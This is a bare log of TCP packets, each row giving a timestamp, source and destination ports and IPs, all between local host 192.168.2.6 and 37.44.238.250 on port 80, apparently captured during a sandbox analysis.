Jan 11, 2025 06:43:16.186331034 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.191236973 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.191371918 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.191663027 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.196482897 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.440637112 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.488873959 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.524147034 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.529062986 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.537700891 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.542650938 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.542666912 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.542678118 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.713952065 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.714138985 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.718978882 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.719105005 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.822776079 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.863920927 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.951612949 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:17.007628918 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.269032001 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:17.316967010 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.690783978 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.695719004 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:17.695805073 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.696822882 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.701761007 CET	80	56915	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:17.701833963 CET	56915	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.732598066 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.738240957 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:17.738332033 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.738461971 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:17.744776964 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.082683086 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:18.089082003 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.089097023 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.089107037 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.371696949 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.426389933 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:18.502990007 CET	80	56921	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.551400900 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:18.771347046 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:18.776191950 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:18.776269913 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:18.776649952 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:18.781385899 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.218698978 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.223599911 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.223617077 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.223628998 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.413922071 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.520075083 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.584779024 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.629457951 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.885005951 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.886218071 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.891045094 CET	80	56926	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.891112089 CET	56926	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.892214060 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:19.892296076 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.892827988 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:19.898822069 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:20.242187977 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:20.250252008 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:20.250268936 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:20.250277996 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:20.520787001 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:20.570560932 CET	56921	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:20.571635962 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:20.650435925 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:20.700635910 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.102345943 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.107323885 CET	80	56934	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:21.107372046 CET	56934	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.199193001 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.204046011 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:21.204123020 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.204328060 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.209137917 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:21.551412106 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:21.557477951 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:21.557518959 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:21.557549000 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:21.848150015 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.020170927 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.021879911 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.129446030 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.209765911 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.210462093 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.215286016 CET	80	56941	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.215383053 CET	56941	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.215794086 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.215868950 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.215986967 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.222553015 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.349539995 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.354450941 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.354532957 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.354626894 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.359523058 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.567076921 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.571837902 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.571964025 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.571976900 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.707684040 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:22.712555885 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.712722063 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.848571062 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.983200073 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:22.983805895 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:23.007421017 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:23.139133930 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:23.141657114 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:23.375610113 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:23.377427101 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:23.380669117 CET	80	56948	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:23.380743027 CET	56948	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:23.382401943 CET	80	56947	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:23.382477999 CET	56947	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:24.124082088 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:24.128954887 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.129137993 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:24.129266977 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:24.134125948 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.473403931 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:24.478338957 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.478353024 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.478363991 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.797979116 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.930340052 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:24.934185982 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.431988955 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.434700012 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.437024117 CET	80	56954	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:25.437082052 CET	56954	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.439488888 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:25.439563990 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.440104008 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.444902897 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:25.785851955 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:25.792166948 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:25.792207003 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:25.792234898 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:26.066072941 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:26.129472971 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:26.193763971 CET	80	56961	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:26.332644939 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.163856983 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.168793917 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:28.168864965 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.169143915 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.173955917 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:28.525475979 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.530287027 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:28.530426025 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:28.891774893 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:28.906416893 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.911608934 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:28.911777973 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.911962032 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:28.916809082 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.039328098 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.039654970 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:29.040024996 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:29.045115948 CET	80	56973	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.045335054 CET	56973	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:29.270168066 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:29.277925968 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.277942896 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.277951956 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.602412939 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.732094049 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:29.732162952 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.076097012 CET	56961	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.141444921 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.142393112 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.146456003 CET	80	56975	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.146507978 CET	56975	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.147145033 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.147222042 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.147370100 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.152199030 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.645123959 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:30.650054932 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.650075912 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.650087118 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.775299072 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.903352022 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:30.903529882 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.189981937 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.190793037 CET	56988	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.194911957 CET	80	56982	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.194962978 CET	56982	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.195601940 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.195668936 CET	56988	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.195831060 CET	56988	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.200572014 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.565469027 CET	56988	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:31.570405960 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.570440054 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.570450068 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.843065023 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.974092007 CET	80	56988	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:31.974174976 CET	56988	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:32.225260973 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:32.230216026 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:32.230304956 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:32.230444908 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:32.235275984 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:32.582953930 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:32.583153963 CET	56988	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:32.587810040 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:32.587850094 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:32.587861061 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:32.890387058 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.023919106 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.023993015 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.182467937 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.186134100 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.187482119 CET	80	56990	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.187541962 CET	56990	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.191010952 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.191082954 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.191212893 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.196046114 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.535810947 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:33.540707111 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.540723085 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.540787935 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.820041895 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.985991955 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:33.986052990 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.052506924 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.053000927 CET	57002	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.057531118 CET	80	56996	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.057605028 CET	56996	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.057873964 CET	80	57002	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.057952881 CET	57002	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.058068991 CET	57002	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.063487053 CET	80	57002	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.206667900 CET	57002	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.209285021 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.214112997 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.214241982 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.214401007 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.219350100 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.251605034 CET	80	57002	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.508821964 CET	80	57002	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.508909941 CET	57002	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.570993900 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.575869083 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.575875044 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.576047897 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.861743927 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:34.961797953 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:34.998178959 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.129419088 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:35.130536079 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:35.134562969 CET	80	57007	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.134711027 CET	57007	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:35.135417938 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.135503054 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:35.135605097 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:35.140372038 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.488943100 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:35.493828058 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.493844032 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.493854046 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.764413118 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.894414902 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:35.894485950 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.263880968 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.265530109 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.268918037 CET	80	57013	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:36.270374060 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:36.270500898 CET	57013	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.270503998 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.271702051 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.276551962 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:36.629897118 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:36.634856939 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:36.634886980 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:36.634897947 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:36.917495012 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.050012112 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.050110102 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.405257940 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.406204939 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.410290003 CET	80	57019	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.410351992 CET	57019	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.411067009 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.411144018 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.414597988 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.419472933 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.770519018 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:37.775438070 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.775454044 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:37.775464058 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.040425062 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.129511118 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.170429945 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.332631111 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.341547966 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.342838049 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.346574068 CET	80	57026	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.346637011 CET	57026	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.347714901 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.347819090 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.348045111 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.352803946 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.692085028 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:38.697191000 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.697216034 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.697227001 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:38.976774931 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.027358055 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.106523037 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.225418091 CET	57042	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.225493908 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.230293989 CET	80	57042	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.230544090 CET	57042	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.230544090 CET	57042	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.230576038 CET	80	57036	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.231641054 CET	57036	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.235423088 CET	80	57042	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.261663914 CET	57042	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.263106108 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.268095016 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.268177032 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.268450975 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.273228884 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.307529926 CET	80	57042	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.613997936 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.619735956 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.619752884 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.619761944 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.700105906 CET	80	57042	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:39.700593948 CET	57042	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:39.896876097 CET	80	57043	37.44.238.250	192.168.2.6
